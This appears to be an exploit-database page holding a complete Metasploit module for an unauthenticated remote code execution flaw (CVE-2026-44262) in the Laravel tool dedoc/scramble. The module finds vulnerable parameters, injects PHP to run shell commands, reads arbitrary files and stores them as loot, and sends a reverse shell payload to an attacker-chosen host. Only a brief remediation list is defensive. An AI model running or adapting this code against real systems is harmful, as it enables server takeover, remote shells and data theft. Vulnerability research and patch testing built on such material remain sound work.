Share
## https://sploitus.com/exploit?id=PACKETSTORM:223657
==================================================================================================================================
    | # Title     : dedoc/scramble 0.13.2 Unauthenticated Remote Code Execution Exploit Module                                       |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://laravel.com                                                                                              |
    ==================================================================================================================================
    
    [+] Summary    :  This is a Metasploit exploit module for CVE-2026-44262, an unauthenticated remote code execution (RCE) vulnerability in the Laravel-based tool dedoc/scramble.
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::CmdStager
      include Msf::Exploit::FileDropper
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'dedoc/scramble Unauthenticated Remote Code Execution',
            'Description' => %q{
              CVE-2026-44262 is an unauthenticated Remote Code Execution vulnerability
              in dedoc/scramble, a Laravel API documentation generator.
    
              The vulnerability exists in NodeRulesEvaluator::doEvaluateExpression()
              which calls extract($variables) before eval("return $code;"). When a
              controller assigns `$request->input()` to a variable named `$code` and
              uses it as a validation rule, Scramble tracks that variable and passes
              it into the eval scope. An attacker can overwrite $code with arbitrary
              PHP by supplying a crafted query parameter to `/docs/api.json`.
    
              This module provides detection and exploitation capabilities including
              command execution, file read, and reverse shell.
            },
            'Author' => ['indoushka'],
            'References' => [
              ['CVE', '2026-44262'],
              ['URL', 'https://github.com/joshuavanderpoll/CVE-2026-44262'],
              ['URL', 'https://github.com/advisories/GHSA-4rm2-28vj-fj39'],
              ['URL', 'https://scramble.dedoc.co']
            ],
            'DisclosureDate' => '2026-05-07',
            'License' => MSF_LICENSE,
            'Platform' => ['php', 'unix', 'linux', 'win'],
            'Arch' => [ARCH_PHP, ARCH_CMD],
            'Targets' => [
              [
                'PHP In-Memory',
                {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP,
                  'Type' => :php_memory,
                  'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }
                }
              ],
              [
                'Unix Command',
                {
                  'Platform' => 'unix',
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_cmd,
                  'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
                }
              ],
              [
                'Windows Command',
                {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD,
                  'Type' => :win_cmd,
                  'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' }
                }
              ]
            ],
            'DefaultTarget' => 1,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
        register_options([
          OptString.new('TARGETURI', [true, 'Base path for docs', '/docs/api']),
          OptString.new('DOCS_PATH', [false, 'Full path to api.json (auto-detected if not set)']),
          OptString.new('PARAM', [false, 'Vulnerable parameter name (auto-detected if not set)']),
          OptInt.new('SLEEP_SECONDS', [false, 'Sleep seconds for timing detection', 4]),
          OptEnum.new('ACTION', [true, 'Action to perform', 'DETECT', ['DETECT', 'EXECUTE', 'READ_FILE', 'SHELL']]),
          OptString.new('READ_FILE', [false, 'File to read (when ACTION=READ_FILE)']),
          OptBool.new('FORCE_OS', [false, 'Force OS detection bypass', false])
        ])
      end
    
      def docs_api_url
        if datastore['DOCS_PATH'] && !datastore['DOCS_PATH'].empty?
          path = datastore['DOCS_PATH']
        else
          base_path = datastore['TARGETURI'].chomp('.json')
          path = base_path + '.json'
        end
        normalize_uri(target_uri.path, path)
      end
    
      def docs_ui_url
        base_path = datastore['TARGETURI'].chomp('.json')
        normalize_uri(target_uri.path, base_path)
      end
    
      def get_openapi_spec
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => docs_api_url
        )
        
        if res && res.code == 200
          begin
            return JSON.parse(res.body)
          rescue JSON::ParserError
            return nil
          end
        end
        nil
      end
    
      def find_vulnerable_parameters(spec)
        vulnerable = []
        
        return vulnerable unless spec && spec['paths']
        rule_pattern = /^(required|nullable|string|integer|numeric|boolean|array|min:|max:|in:)/i
        
        spec['paths'].each do |path, methods|
          methods.each do |method, details|
            next unless details['parameters']
            
            details['parameters'].each do |param|
              next unless param['in'] == 'query'
              
              schema = param['schema'] || {}
              default = schema['default'].to_s
              
              if default =~ rule_pattern || default.include?('|')
                vulnerable << {
                  'path' => path,
                  'param' => param['name'],
                  'method' => method.upcase
                }
              end
            end
          end
        end
        
        vulnerable
      end
    
      def get_server_info
        res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path))
        
        info = {}
        if res
          info['server'] = res.headers['Server'] if res.headers['Server']
          info['x_powered_by'] = res.headers['X-Powered-By'] if res.headers['X-Powered-By']
    
          if res.body && res.body.include?('laravel')
            version_match = res.body.match(/Laravel v?(\d+\.\d+\.\d+)/i)
            info['laravel_version'] = version_match[1] if version_match
          end
        end
        
        info
      end
    
      def detect_os(param)
        print_status('Detecting target operating system...')
    
        payload = 'print(php_uname("s"))'
        output = execute_php_code(param, payload)
        
        if output
          os_lower = output.strip.downcase
          if os_lower.include?('windows')
            @target_os = 'windows'
          elsif os_lower.include?('linux')
            @target_os = 'linux'
          elsif os_lower.include?('darwin')
            @target_os = 'darwin'
          else
            @target_os = os_lower
          end
          print_good("Detected OS: #{@target_os}")
        else
          @target_os = 'unknown'
          print_warning('Could not detect OS, assuming Unix-like')
        end
      end
    
      def is_windows?
        @target_os == 'windows'
      end
    
      def build_attack_url(param, payload)
        query = { param => payload }
        "#{docs_api_url}?#{query.to_query}"
      end
    
      def send_payload(param, payload, timeout = nil)
        url = build_attack_url(param, payload)
        
        opts = { 'method' => 'GET', 'uri' => url }
        opts['timeout'] = timeout if timeout
        
        send_request_cgi(opts)
      end
    
      def capture_output(param, payload)
        res = send_payload(param, payload)
        
        if res && res.body
          # Output appears before JSON start
          json_start = res.body.index('{')
          if json_start && json_start > 0
            return res.body[0...json_start].strip
          elsif json_start == 0
            return nil
          else
            return res.body.strip
          end
        end
        nil
      end
    
      def execute_php_code(param, code)
    
        wrapped = "(function(){ #{code} })()"
        capture_output(param, wrapped)
      end
    
      def execute_command(param, cmd)
        cmd_with_stderr = cmd.include?('2>') ? cmd : "#{cmd} 2>&1"
        execute_php_code(param, "print(shell_exec(#{cmd_with_stderr.inspect}))")
      end
    
      def read_file(param, filepath)
        execute_php_code(param, "print(file_get_contents(#{filepath.inspect}))")
      end
    
      def timing_probe(param, sleep_seconds)
        print_status("Timing probe with sleep(#{sleep_seconds}) via param '#{param}'")
    
        start = Time.now
        send_payload(param, '')
        baseline = Time.now - start
        print_status("Baseline: #{'%.2f' % baseline}s")
    
        start = Time.now
        send_payload(param, "sleep(#{sleep_seconds})", sleep_seconds + datastore['WfsDelay'])
        elapsed = Time.now - start
        delay = elapsed - baseline
        
        print_status("Attack response: #{'%.2f' % elapsed}s (delay: #{'%+.2f' % delay}s)")
        
        triggered = delay >= (sleep_seconds * 0.75)
        
        if triggered
          print_good("VULNERABLE โ€” response delayed ~#{sleep_seconds}s")
        else
          print_error("Not triggered (no significant delay)")
        end
        
        triggered
      end
    
      def exec_probe(param)
        print_status("Command execution probe via param '#{param}'")
        
        cmd = is_windows? ? 'whoami' : 'id 2>&1'
        output = execute_command(param, cmd)
        
        if output && !output.empty?
          print_good("VULNERABLE โ€” command output captured:")
          print_line(output)
          return true
        else
          print_error("No command output in response")
          return false
        end
      end
    
      def detect_vulnerability
        print_status("Checking for vulnerable Scramble instance at #{docs_api_url}")
    
        res = send_request_cgi('method' => 'GET', 'uri' => docs_api_url)
        
        unless res && res.code == 200
          print_error("Docs API not accessible (HTTP #{res&.code || 'no response'})")
          return false
        end
        
        print_good("Docs API accessible")
    
        spec = get_openapi_spec
        unless spec
          print_error("Failed to parse OpenAPI spec")
          return false
        end
    
        if spec['info']
          print_status("API Title: #{spec['info']['title']}") if spec['info']['title']
          print_status("API Version: #{spec['info']['version']}") if spec['info']['version']
        end
    
        @vulnerable_params = find_vulnerable_parameters(spec)
        
        if @vulnerable_params.empty?
          print_error("No potentially vulnerable parameters found in spec")
          return false
        end
        
        print_good("Found #{@vulnerable_params.length} potentially vulnerable parameter(s):")
        @vulnerable_params.each do |vp|
          print_status("  #{vp['method']} #{vp['path']} โ†’ param '#{vp['param']}'")
        end
        
        true
      end
    
      def exploit_command(param, cmd)
        print_status("Executing command: #{cmd}")
        output = execute_command(param, cmd)
        
        if output && !output.empty?
          print_good("Command output:")
          print_line(output)
          return true
        else
          print_error("No output received")
          return false
        end
      end
    
      def exploit_read_file(param, filepath)
        print_status("Reading file: #{filepath}")
        content = read_file(param, filepath)
        
        if content && !content.empty?
          print_good("File contents:")
          print_line(content)
    
          store_loot(
            'scramble.file',
            'text/plain',
            datastore['RHOST'],
            content,
            File.basename(filepath),
            "File read from target: #{filepath}"
          )
          return true
        else
          print_error("Failed to read file (may not exist or not readable)")
          return false
        end
      end
    
      def exploit_reverse_shell(param, lhost, lport)
        print_status("Preparing reverse shell to #{lhost}:#{lport}")
        print_status("Ensure listener is running: nc -lvnp #{lport}")
        
        shell_bin = is_windows? ? 'cmd.exe' : '/bin/sh'
    
        php_payload = <<~PHP
          (function(){
            $s=@fsockopen('#{lhost}',#{lport},$e,$m,30);
            if(!$s)return;
            $p=proc_open('#{shell_bin}',array(0=>$s,1=>$s,2=>$s),$pipes);
            if($p)proc_close($p);
            fclose($s);
          })()
        PHP
        
        print_status("Sending reverse shell payload...")
    
        send_payload(param, php_payload, 3600)
        
        print_good("Reverse shell payload sent. Check your listener.")
        true
      end
    
      def exploit_php_code(param, code)
        print_status("Executing PHP code: #{code}")
        output = execute_php_code(param, code)
        
        if output && !output.empty?
          print_good("PHP code output:")
          print_line(output)
          return true
        else
          print_warning("No output from PHP code")
          return true  
        end
      end
    
      def check
        print_status("CVE-2026-44262 - dedoc/scramble RCE Check")
    
        unless detect_vulnerability
          return CheckCode::Safe("No vulnerable parameters found")
        end
    
        param = @vulnerable_params.first['param']
        
        if timing_probe(param, datastore['SLEEP_SECONDS'])
          return CheckCode::Vulnerable("Timing probe confirmed RCE")
        else
          return CheckCode::Appears("Potentially vulnerable, but timing probe failed")
        end
      end
    
      def exploit
        print_status("CVE-2026-44262 - dedoc/scramble RCE Exploit")
    
        unless detect_vulnerability
          fail_with(Failure::NotFound, "No vulnerable parameters found")
        end
        
        param = @vulnerable_params.first['param']
        print_good("Using vulnerable parameter: #{param}")
    
        unless datastore['FORCE_OS']
          detect_os(param)
        end
    
        case datastore['ACTION']
        when 'EXECUTE'
          cmd = datastore['PAYLOAD'] ? payload.encoded : "id"
          exploit_command(param, cmd)
          
        when 'READ_FILE'
          filepath = datastore['READ_FILE']
          if filepath.nil? || filepath.empty?
            fail_with(Failure::BadConfig, "READ_FILE path required for ACTION=READ_FILE")
          end
          exploit_read_file(param, filepath)
          
        when 'SHELL'
          lhost = datastore['LHOST']
          lport = datastore['LPORT']
          
          if lhost.nil? || lport.nil?
            fail_with(Failure::BadConfig, "LHOST and LPORT required for reverse shell")
          end
          exploit_reverse_shell(param, lhost, lport)
          
        else 
          print_status("\n[*] Running timing detection...")
          timing_result = timing_probe(param, datastore['SLEEP_SECONDS'])
          
          print_status("\n[*] Running command execution probe...")
          exec_result = exec_probe(param)
          
          print_status("\n" + "=" * 65)
          print_status("SUMMARY")
          print_status("=" * 65)
          print_status("Target:       #{peer}")
          print_status("Vuln param:   #{param}")
          print_status("Timing probe: #{timing_result ? 'TRIGGERED' : 'clean'}")
          print_status("Exec probe:   #{exec_result ? 'TRIGGERED' : 'clean'}")
          
          if timing_result || exec_result
            print_good("\n*** VULNERABLE โ€” RCE confirmed ***")
    
            print_status("\nRemediation:")
            print_status("  1. Update Scramble: composer require dedoc/scramble:^0.13.22")
            print_status("  2. Restrict docs access with middleware")
            print_status("  3. Disable docs in production")
          else
            print_status("\nNot exploitable via this vector")
          end
          print_status("=" * 65)
        end
      end
    end
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================